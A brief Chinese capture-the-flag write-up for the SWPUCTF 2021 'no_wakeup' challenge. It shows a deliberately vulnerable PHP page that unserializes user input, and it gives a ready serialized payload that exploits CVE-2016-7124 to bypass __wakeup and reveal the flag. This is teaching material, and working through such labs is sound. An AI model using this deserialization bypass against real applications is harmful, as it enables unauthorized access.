(反序列化)[SWPUCTF 2021 新生赛]no_wakeup

打开题目

复制代码
<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?> 

__destruct->__wakeup(要绕过)

反序列时先检测有没有wakeup方法,有就先调用

但是CVE-2016-7124影响版本:PHP5 < 5.6.25;PHP7 < 7.0.10

p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

即可

相关推荐
喏喏心8 分钟前
深度强化学习:价值迭代与Bellman方程实践
人工智能·python·学习·机器学习
cypking21 分钟前
Nuxt项目内网服务器域名代理访问故障排查
运维·服务器·php
kkkkkkkkk_120125 分钟前
【强化学习】06周博磊强化学习纲要学习笔记——第三课下
笔记·学习·强化学习
北极糊的狐33 分钟前
IDEA中安装 CamelCase 插件实现变量快速生成驼峰命名
开发语言·php
白杨SEO营销39 分钟前
白杨SEO:看“20步:从0-1做项目的笨办法”来学习如何选一个项目做及经验分享
前端·学习
无所事事的程序员43 分钟前
Claude指令学习
学习
学习路上_write1 小时前
AD5293驱动学习
c语言·单片机·嵌入式硬件·学习
菥菥爱嘻嘻1 小时前
组件测试--React Testing Library的学习
前端·学习·react.js
白帽子黑客罗哥2 小时前
零基础转行渗透测试 系统的学习流程(非常详细)
学习·网络安全·渗透测试·漏洞挖掘·护网行动
李洛克072 小时前
RDMA 编程完整学习路线图
学习·rdma·路线